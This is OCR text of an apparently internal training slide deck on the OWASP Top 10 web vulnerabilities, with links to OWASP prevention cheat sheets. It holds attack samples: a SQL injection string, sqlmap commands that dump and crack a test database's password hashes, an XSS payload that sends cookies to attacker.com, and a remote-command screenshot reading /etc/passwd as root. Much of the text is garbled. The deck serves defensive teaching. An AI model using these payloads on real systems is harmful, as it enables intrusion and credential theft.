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OWASP TOP 10

2003 2004 2007 2010 2013 2017RC1
Al-Unvalidated Parameters Al-Unvalidated Input A1-¥55 Al-Injection Al-Injection Al-Injection
A2-Broken Authentication and Session
A2-Broken Access Control * A2-Broken Access Control “ AZ-Injection Flaws A2-¥5S AZ-Broken Authentication and Session !
A3-Broken Authentication and Session A3- Broken Authentication and Session
) . cation an A3-Broken Authentication and Session Management \ Malicious File Execution (NEW) roKen Authentication an = A3-X55 A3-X55
Management Management

Ad-X55 Flaws

Ad-X55 Flaws

1]
\ Ad-Insecure Direct Object Reference

Ad-Insecure Direct Object References

Ad-Insecure Direct Object References

Ad-Broken Access Control (Original category
in 2003/2004)

A5-Buffer Overflow

AS-Buffer Overflow

A5-Cross Site Request Forgery (CSRF) (NEW)

AS5-Cross Site Request Forgery (CSRF)

A5-Security Misconfiguration

AS5-Security Misconfiguration

AB-Command Injection Flaws

AB-Injection Flaws

Ag- Information Leakage and Improper Error

AB — Security Misconfiguration (NEW)

bAG- Sensitive Data Exposure

AB- 5ensitive Data Exposure

{Handling —|
7-Broken Authentication and Session
A7-Error Handling Problems A7-Improper Error Handling nt g ! A7-Insecure Cryptographic Storage '_/ A7-Missing Function Level Access Control 1 A7-Insufficient Attack Protection (NEW)
ANaAgeme
AB-Insecure Use of Cryptography AB-Insecure Storage #ﬂ Insecure Cryptographic Storage AB- Failure to Restrict URL Access v AB- Cross-Site Request Forgery (CSRF) AB- Cross-Site Request Fargery (CSRF)

AS-Remote Administration Flaws

Ag-Denial of Service (NEW)

*» Insecure Communications (NEW)

AS- Insufficient Transport Layer Protection

AS- Using Known Vulnerable Components

AS- Using Companents with Known
Vulnerabilities

A10-Web and Application S v -1 d and f
X evan . pplication server Al0-Insecure Configuration Management Al0-Failure to Restrict URL Access A Al0-Unvalidated Redirects and Forwards Al10- Underprotected APIs (NEW)
Misconfiguration {NEWI
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* FAIR Information Risk Framework
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OWASP Top 10 — 2010

OWASP Top 10 — 2013
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A1 - EA
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¢ SQL, OS Shell, LDAP, XPath, etc...
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http://ent263.sharepoint.hp.com/teams/SecCommunity/Shared Documents/SecurityDocument/Mysharing/3rd party vul.wmv

1"

O String sqlString = " +
username +" "+pwd+ "
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sqlString);
if (Irs.next()) {
throw new SecurityException( "User name or password incorrect" );
}

O {BiBusername= ‘or 1=1 or 1=

Q B2 &/5Rquery=32RK,
/fJﬁ EUJ SELECT id FROM users WHERE username="" or 1=1 or 1=" AND pass=""

@) oLuAsP
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SQLYF A < H 3t

o you want to crack them via a dictionary-based attack? [Y/n/q]

hat dictionary do you want to use?

1] default dictionary file 'C:\tools\sqlmap\txt\wordlist.zip' (press Enter)
2] custom dictionary file

3] file with list of dictionary files

Ho you want to use common password suffixes? (slow!) [y/N]

14:52:12] [INFO] cracked password 'abc123’ for hash "e99a18c428cb38dST26085367892203°
14:52:13] [INFO] cracked password ‘admin' for hash '21232f297a57a5aT43894a0ela801fc3’
14:52:15] [INFO] cracked password ‘charley’ for hash "8d3533d75ae2c396bdTeld4fcc69216h”
14:52:18] [INFO] cracked password 'letmein’ for hash '0d107d09fSbbel4Bcade3deScTl1e9e9bT’
14:52:20] [INFO] cracked password ‘password’ for hash 'Sfidec3b5aar6Sd61d8327deb882cf99”

patabase: duwa
able: users

5 entries]

--------- il et e e it it 1
user_id | wuser | avatar | passuword | last_name | first_name |
--------- B e T e e P e ey
1 | admin | http://10.0.0.10/duwa/hackable/users/admin. jpg | 21232f297a57a5ar43894a0el4a801fc3 (admin) | admin | admin |
2 | gordonb | http://10.0.0.10/dvwa/hackable/users/gordonb.jpg | ¢99al18¢c428ch38d5f260853678922e03 (abc123) | Brown | Gordon |
3 | 1337 | http://10.0.0.10/duwa/hackable/users/1337. jpyg | 8d3533d752e2c3966dTedd4fcc69216b (charley) | Me | Hack |
) | pablo | http://10.0.0.10/duwa/hackable/users/pablo. jpg | 0d107dO9FShbed4Ocade3deScT1e9e9b7 (letmein) | Picasso | Pablo |

| 5 | smithy | http://10.0.0.10/dvwa/hackable/users/smithy.jpg | Sfi4dcc3bSaar65d61d8327deb882cfI9 (password) | Smith | Bob |

e it Fommm - B e L e T T P B e e T T Fommmm e Fommmmmmm e +

R R R ey



BAE KA ./sqlmap.py -u url

./sqlmap.py -u url --current-db

./sqlmap.py -u url --tables -D
"db_name"

./sqlmap.py -u url --columns -D
B "db_name" -T "table_name"

./sgqlmap.py -u url --dump -D
"db_name“-T "table_name“-C
"column_name"

Security Project
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e OWASP SQL Injection Cheat Sheet
https://www.owasp.org/index.php/SQL Injection Prevention Cheat Sheet

OLUASP

Open Web Application
Security Project


https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
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¢ Cookie vs Session

¢ SESSION ID
e Log, URL

o GICEN
« ILEFH

e Session hijacking

OLUASP

Open Web Application
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http://example.com/sale/saleitems;jsessionid=
2P00C2JDPXMOOQSNDLPSKHCJUN2JV?dest=Hawaii
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Site uses URL rewriting @ Custom Cod
(i.e., put session in URL)

nowledge

@ User clicks on a link to http://www.hacker.com in
a forum

Hacker checks referrer logs on www.hacker.com
and finds user’s JSESSIONID

i

y Lt "

Hacker uses JSESSIONID and

takes over victim’s account S D | JJ . ‘l S p

= Open Web Application
Security Project


http://www.hacker.com/
http://www.hacker.com/

)
e HsessionlD
o STEIEH (K. 1)
o {1 cookie
o $#2fitlogout
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OWASP Authentication Cheat Sheet
https://www.owasp.org/index.php/Authentication Cheat Sheet

* Password storage Cheat sheet
https://www.owasp.org/index.php/Password Storage Cheat Sheet

* Forget password cheat sheet
https://www.owasp.org/index.php/Forgot Password Cheat Sheet

e Session management cheat sheet
https://www.owasp.org/index.php/Session Management Cheat Sheet

OLUASP

Open Web Application
Security Project



https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
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http://myserver.com/XSS.jsp?name=David

<ril>rlello Davids</nl>


http://myserver.com/XSS.jsp?name=David

BTGB NRAIE FE—1GETIEK

http://myserver.com/XSS.jsp?name= <script>code</script>

Z5ER ( B =y i T )

<hil>rlello <seript>code</seript></hl>



http://myserver.com/XSS.jsp?name=David
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fir B cookie ¥ -

o N HFEFAE N HHTMLAC RS B 144 18 548 FH R 28 50 F B S
ANETAE A -

( String) page += "<input name='creditcard' type='TEXT‘
value="" + request.getParameter ("CC") +"'>";
. B FH AN AR P “cc” ZHOoN I ME.:
 "><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.

XAk 3 302 FH #1215 DA R 1K B B 2 ) s, A
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e OWASP XSS Cheat Sheet
https://www.owasp.org/index.php/XSS (Cross Site Scripting) Prevention Cheat Shee

t
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https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
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| Online Banking | Account Summary | Checking - Microsoft Internet Explorer E‘@E

Elle Edit View Favorites Tools Help » KE“%‘ ﬁm %Bg
Q& Back - x| (@ (p ) search ¢ Favorites &) [+ P acct

https://www.onlinebank.com/user?acct=606 |- parameter is 6065
5

-
What can our Income and Expenises from Sep 26, 2004 to Jan 16, 2005 Checking.6534 ? a c ct — 6 0 6 5

Cash Maximizer Total Costs

account do Recurring Costs

for you? Variable Costs

Fined Costs k
Total Deposits
Next6p o
S0 $2000 34000 $0000 $3.000 $10,000 $12,000 $14.000 $16,000 $18,000 $20,000 $22000 524000 N

Your Accounts. - ﬂ: % lg o /\A J& B@
Checking 6534 5 0 ate Description Category Amount % z
Currant Balance $3577.98 Now 22, 2004 I Tntarast $25 4]

Avallable Balince $3568.99 $100.00

Checking 6515 » 04 ATH Withdraval, s ¢ ¢ $10000 | ? t—6066
Current Balance 8 Nov 16,2004 $B¢ 2l Pagment @D Phone 42423 . acc -

Available Balince

Nov 16,2004 ™y dit Card Bill Payment Credit Card $2,852.57

Transfor Funds Nov 15,2004 A aval, myBack, San Rafael, CA $100.00
Now 15, 2004 myBank Payrol $4,37379
Now 10, 2004 thdraval, myBack, San Francisco, CA Cash $100.00
04,2 ATM Withdraval, syBank, San Francisco, € Cah 00.0
Your Bills Now 4, 2004  ATM Withdraval, myBank, San Francisco, CA ¥ $100.00
Nov3, 2004  tyBank Cred ill Payenant Cradit Car $10.00

$9999.99 due in next: Lday Y 1 Bill Payment € Phone $1357 - Bo I \ \\ N

Payle = ance Bill Payment @ Insunin $435.00 g S

Chase Manhattan Moregage Corp Bill Paymant €D Mongage $2,184.42

004 ATM Withdraval, myBank, San Fran

Oct2

Net Cash Flow: 6435.20

8] E Q Internet 38

Aer29 2004 mubank Pav
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| Online Banking | Account Summary | Checking - Microsoft Internet Explorer

Eile Edit View Favorites Tools Help ar
QBack - x (@ ¢h OSsearch YrFavorites € (v L P
= https:/lwww.onlinebank.com/user/getAccounts =

| Tncome and Spanding Top Ton Histary and Averages Categures

wicome Teodorn @ (LI @ & gl B 0al P

What can our Income and Expenses from Sep 26, 2004 to Jan 16, 2005 Checking 6534 - I : i —iEz‘ [ %‘$ ’
Cash Maximizer Total tosts $18.474.4% | ‘/35 AT E J\. H

account do Recutring Costs
foryou? Variable tosts

Fined Costs
Total Daposits

. - = Juser/getAccounts

$0 §2000 34000 0000 35000 10000 §12.000 H14.000 $IO000 $I5000 §20.000 322000 F2

Your Accaunts R N
- = = =l = R T B4 frole
Currant Balance §3577.98 Mow 22, 2004 Teterest Pagmant Tenarars ka3 -_!
Available Balance $3568.99 Mow 22, 2004 AT! nyBank, San Rafael, CA Cazh $100,00
Checking:6515 » B ow 19, 2004 ATM Withdraval, myBank, Sun Francise Cash 100,00 /a d m i n/ etACCO u ntS 0 r
Currant Balince $z.318.08 Hov 16, 2004 8¢ Phane &ill Pagment € Phene $94.23 g U
Reoabin S Mow 16, 2004 myBank Credit Card Bill Payment Credit Card §2,852.57
Transfar Funds 2 W je 15, 2004 ATH Withdraval, myBank, San Rafael, €A Cash §100.00

Hov 15, 2004 myBank Payrol Pl I /m a n a e r/ etACCO u nts

W Now 10, 2004 AT Withdvaval, swyBark, San Francisco, CA Cash $100.00 g g

Your Bills How 4, 2004 ATH Withdraval, twyBan ancises, CA Cath $100.00

How3, 2004y dit Card Bill Payenane $10.00
AT ek e Ldaile Now 1, 2004  Werking Azsets Bill Payment @ Phen 1357
Py Bils N Pruduntial Ingurance Bill Paymant @ Insurinca $435.00

Chase Manharzan Mortgage Corp Bl Paymant €0 Mergage §2,184.42

rivacy & Secunty W ooag 2004 ATM Wichdraval, my@ank, San Fr ch Cash $100.00

8] ) Q Internet
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* OWASP ESAPI Access Reference Map API
https://www.owasp.org/index.php/Category:OWASP Enterprise Security API

OWASP
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https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
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Back to search

Axis2 Default Administrator Password Vulnerability
Severity CVss Published Added Modified

10 (AV:N/AC:L/AU:N/C:C/I1:.C/A:C) October 12, 2010 October 13, 2010 December 03, 2013

Available Exploits @

Apache Axis2 Brute Force Utility
Axis2 [ SAP BusinessObjects Authenticated Code Execution (via SOAP)

admin axis2

The Axis2 administratgf 'admin' fhas a password that is set to the default value oAs a result, anyone with access to the Axis2 port can
trivially gain full access to the machine via arbitrary remote code execution. This requires the attacker to upload a malicious webservice and for the
instance of Tomcat to be restarted.

Description

This vulnerability affects default Axis2 installations as well as SAP BusinessObjects via the web service module (known as dswsbobje) and other
products that are based on Axis2

OLWASP

Open Web Application
Security Project
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e Harden guideline

e Some tools

Security Project



e

* OWASP Development Guide: Chapter on Configuration
https://www.owasp.org/index.php/Projects/OWASP Development Guide

OLUASP
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https://www.owasp.org/index.php/Projects/OWASP_Development_Guide
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e At rest
¢ In transit
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o o o

[STE Exception report

je

[PE=SIET The server encountered an internal error () that prevented &t from fulfiling ths request.

org.apache.jasper.JasperException: java.lang.NullPointerException
org. he.jasper.servlet.JspServlietWrapper.handledJspException (JspServletWrapper.java:534)

org. .jasper.servliet.JspServlietiWrapper.service (JspSexrvlietiWrapper.java:457)
org. .jasper.servlet.JspServiet.serviceJspFile (JspServier.java:391)
org. jasper.servlet.JspServlet.service (JspServlet.java:334)

javax.servlet.http.HttpServlet. service (HttpSexrvlet.java:722)

java.lang.NullPointerException
org.apache.3jsp.check 3isp

ittpJspBase.ser
vlet.service (H

java:70)

vlietWrapper.java:419)
.jasper.servlet.JspServiec.serviceJspFile (JspServlier.java:391)
org.apache.jasper.servlet.JspServlet.service (JspServlec.java:334)
javax.servlet.http.HttpServlet.service (HttpServlet.java:722)

The full stack trace of the root cause is availsble in the Apache Tomcat/7.0.11 logs.

pache Tomcat/7.0.11

LJASP

Open Web Application
Security Project




yest
internal reque
cepi .o,\',[.'dpf.go

Wifi Network:
WORLDCUP

Password: b5a2112014

OLJASP
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Victim enters credit card
number in form

Ho
o0

Ho
H
o
<

Custom Code |

@ Malicious insider Log files M

stezls 4 mt:lllon credit Error handler logs CC @
card numbers details because merchant
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Example Language: Java

public boolean VerifyAdmin(String password) {
if (password.equals("68af404b513073584c4b6f22b6c63e6b™)) {
System.out.printin("Entering Diagnostic Mode...");
return true;
by
System.out.printin("Incorrect Password!");
return false;
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e SSL/TLS
e Http Strict Transport Security(HSTS)
e Cert pinning

e SSL3/TLS1.0,1.1,1.2
o £ certificate
o IgiFcertificate

12 U0 {5 — In transit ?
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« OWASP transport layer protection cheat sheet
http://www.owasp.org/index.php/Transport _Layer Protection Cheat Sheet
e  OWASP cryptographic storage cheat sheet

https://www.owasp.org/index.php/Cryptographic Storage Cheat Sheet
e OWASP password storage cheat sheet

https://www.owasp.org/index.php/Password Storage Cheat Sheet

@) 0uAsP

Open Web Application
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http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
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http://ent263.sharepoint.hp.com/teams/SecCommunity/Shared Documents/SecurityDocument/Mysharing/3rd party vul.wmv
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http://ent263.sharepoint.hp.com/teams/SecCommunity/Shared Documents/SecurityDocument/Mysharing/3rd party vul.wmv
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e RBAC
e ACL




e

e OWASP ESAPI Access Control API
https://www.owasp.org/index.php/Category:OWASP Enterprise Security API
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https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
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http://ent263.sharepoint.hp.com/teams/SecCommunity/Shared Documents/SecurityDocument/Mysharing/3rd party vul.wmv
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http://example.com/app/transferFunds?amount=1500
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width="0" height="0" />
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e Form
e Request header

o THRIAVRHIE G




o HIEIT)E, FEAER! FUETTRERFAT!
o MREESIFEHN, HWREI TEIH=EN"HIFRRK

© RLBBRMFHY!

FHEFEE. | EiREE
E4EFEOS: EENEOS?

OWARSP

Open Web Application
Security Project




54

* OWASP CSRF prevention cheat sheet

https://www.owasp.org/index.php/Cross-
Site Request Forgery (CSRF) Prevention Cheat Sheet

OLUASP
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https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
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Total Downloads with Known Vulnerabilities (Logarithmic)
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http://uat.sf-vip.net//sfp.payment/register/rein_mobile_1.do

$1F: http://fuat. sf-vip. net//sfp. payment/register/rein_mobile_1. do

18 A: PosT Wi UTF-8  « {EARFRE: @ 2013 52-016 () 2013 52-013
SRS (e | ELE [EBiD] #E f264:  coooo

| FRES | | erEEE |

Target: http:/fuat. sf-vip net//sfp. payment/register/rein_mobile_1.do
fhoami: root

WebPath: fopt/jboss/jboss—as/server/sfpay/. /tmp/deploy/tmp3TTS00151502178915T=sfp. payment—exp. war/
WWW. WOOoyUn.org
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A cat fetc/passwd v thiT

WK3cmd-> cat fetcfpasswd

root:x:0:0:root:froot:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2: daemon: fsbin: /sbin/nologin
adm:x:3:4: adm: fvar/adm: /sbin/nologin

1p:x:4:T:1p: fvar/spool/lpd: /sbin/nologin

sync:x:5:0:syne: fsbin: /bin/syne
shutdown:x:6:0: shutdown: /sbin:/sbin/shutdown
halt:x:T:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail: fvar/spool/mail: fsbinfnologin

news:x:9:13:news: fetc/news:

nucp:x:10:14:vuep: fvar/spool/uncp: fsbinfnologin
operator:x:11:0:operator:froot:/sbinfnologi
gzames:x:12:100: games: fusr/games: /sbinfnologin

gopher:x:13:30: gopher: fvar/gopher: /sbin/nologin

ftp:x:14:50:FTF User:/var/ftp:/sbinfnologin
nobody:x:99:99: Nobody: /: /sbin/nologin

nscd:x:28:28:N3CD Daemon:/:/sbinfnologin

vesa:x:B9:69:virtual console memory owner:/dev:/sbin/nologin

peap:x:TT:TT:: fvar/arpwatch: fsbin/nologin

rpe:x:32:32:Portmapper RPC user:/:/sbinfnologin

mailnull:x:47:47:: fvar/spool/mquene: fsbin/nologin

smmsp:x:51:51:: fvar/spool/mquene: /sbin/nologin
sshd:x:T4:T4:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

rpeuser :x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x: 4294967294 : 4294967294 : Anonymous NFS User:/var/lib/nfs:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/noelogin

avahi:x:70:70:Avahi daemon:/:/sbin/nologin

haldaemon:x:63:68:HAL daemon:/:/sbin/nologin
avahi-auteipd:x:100:101: avahi-autoipd: fvar/lib/avahi—autoipd: /sbin/nologin
ntp:x:38:38:  fete/ntp: fsbin/nologin

xfs:x:43:43:X Font Server:/fete/N11/fs:/sbin/nologin

gdm:x:42:42: : fvar/gdm: fsbin/nologin

sabayon:x:86:86:Sabayon user:/home/sabayon:/sbinfnologin
oprofile:x:16:16:Special user account to be used by OProfile:/homefoprofile:/sbin/nologin
queryuser:x:500:500: : fhome/ queryuser: /bin/bash WWW.WO0O0Yyun.org
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e

e OWASP Unvalidated Redirect and Forward Cheat sheet
https://www.owasp.org/index.php/Unvalidated Redirects and Forwards Cheat Sheet

OLUASP
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https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

2017 RC1

* https://www.owasp.org/index.php/Category:
OWASP_Top Ten 2017 Project
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